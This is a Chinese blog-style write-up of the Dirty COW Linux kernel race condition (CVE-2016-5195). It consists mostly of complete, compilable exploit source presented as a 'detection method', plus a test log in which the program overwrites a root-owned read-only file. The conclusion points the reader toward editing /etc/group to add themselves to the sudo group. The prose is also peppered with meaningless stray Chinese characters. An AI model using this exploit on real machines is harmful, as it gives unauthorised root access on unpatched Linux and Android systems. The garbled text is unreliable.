漏洞描述
描述引用來源：https://github.com/dirtycow
*A race condition was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. *
Linux內(nèi)核的內(nèi)存子系統(tǒng)在處理copy-on-write（COW）時(shí)出現(xiàn)競(jìng)爭(zhēng)條件日月，導(dǎo)致私有只讀存儲(chǔ)器映射被破壞丑罪。
The bug has existed since around 2.6.22 (released in 2007) and was fixed on Oct 18, 2016. List of patched versions here
這個(gè)bug自Linux 2.6.22(發(fā)布于 2007 年)存在至今花履，并于2016年10月18日被修復(fù)。點(diǎn)擊這里查看已發(fā)布補(bǔ)丁的Linux版本颅停。
Linux內(nèi)核的內(nèi)存子系統(tǒng)在處理copy-on-write（COW）時(shí)出現(xiàn)競(jìng)爭(zhēng)條件掸掏，導(dǎo)致私有只讀存儲(chǔ)器映射被破壞文搂，可利用此漏洞非法獲得讀寫權(quán)限瑰枫，進(jìn)而提升權(quán)限。
漏洞檢測(cè)方法
/*
* author : http://www.ichunqiu.com/course/56009
* title : 實(shí)驗(yàn)1 CVE-2016-5195（臟牛）內(nèi)核提權(quán)漏洞分析
* modify : 天蒼野茫
* fileName: dirtycow.c
* build : gcc -pthread dirtycow.c -o dirtycow
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
int bSuccess = 0;
void *madviseThread(void *arg)
{
char *str;
str = (char *)arg;
int f = open(str, O_RDONLY);
int i = 0, c = 0;
char buffer1[1024], buffer2[1024];
int size;
lseek(f, 0, SEEK_SET);
size = read(f, buffer1, sizeof(buffer1));
while(i < 100000000)
{
c += madvise(map, 100, MADV_DONTNEED);
lseek(f, 0, SEEK_SET);
size = read(f, buffer2, sizeof(buffer2));
if(size > 0 && strcmp(buffer1, buffer2))
{
printf("Hack success!\n\n");
bSuccess = 1;
break;
}
i++;
}
close(f);
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg)
{
char *str;
str = (char *)arg;
int f = open("/proc/self/mem", O_RDWR);
int i = 0, c = 0;
while(i < 100000000 && !bSuccess)
{
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
i++;
}
close(f);
printf("procselfmem %d \n\n", c);
}
int main(int argc, char *argv[])
{
if(argc < 3)
{
(void)fprintf(stderr, "%s\n", "usage: dirtycow target_file new_content");
return 1;
}
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
close(f);
return 0;
}
漏洞檢測(cè)結(jié)果
平臺(tái)信息
tiancangyemang@ubuntu:~$ uname -a
Linux ubuntu 3.13.0-96-generic #143-Ubuntu SMP Mon Aug 29 20:15:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
tiancangyemang@ubuntu:~$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
測(cè)試過程
編譯
tiancangyemang@ubuntu:~$ gcc -pthread dirtycow.c -o dirtycow
準(zhǔn)備測(cè)試目標(biāo)
tiancangyemang@ubuntu:~$ echo ABCDEFGHIJKLMN > target.txt
tiancangyemang@ubuntu:~$ cat target.txt
ABCDEFGHIJKLMN
tiancangyemang@ubuntu:~$ chmod 644 target.txt
tiancangyemang@ubuntu:~$ sudo chown root:root target.txt
[sudo] password for tiancangyemang:
tiancangyemang@ubuntu:~$ ls -l target.txt
-rw-r--r-- 1 root root 15 10月 30 13:14 target.txt
開始測(cè)試
tiancangyemang@ubuntu:~$ cat target.txt
ABCDEFGHIJKLMN
tiancangyemang@ubuntu:~$ ./dirtycow target.txt 1234567890
mmap 7fa185de3000
Hack success!
procselfmem 52150
madvise 0
tiancangyemang@ubuntu:~$ ls -l target.txt
-rw-r--r-- 1 root root 15 10月 30 13:14 target.txt
tiancangyemang@ubuntu:~$ cat target.txt
1234567890KLMN
結(jié)論
- 由上面的測(cè)試數(shù)據(jù)可知偶惠，只要有對(duì)target.txt的可讀權(quán)限春寿，就可以利用Dirty COW漏洞獲得讀寫權(quán)限！
- 若把目標(biāo)從target.txt改成/etc/group忽孽，將自己加入sudo組绑改，你懂的~
補(bǔ)充
Dirty COW漏洞是一個(gè)遠(yuǎn)古時(shí)期的漏洞(2007年，Linux 2.6.22)扒腕，影響版本廣泛绢淀，現(xiàn)在市面上絕大部分 Android 手機(jī)的 Linux 版本都大于2.6.22，換言之瘾腰，目前市面上絕大部分 Android 手機(jī)均面臨Dirty COW漏洞的威脅！
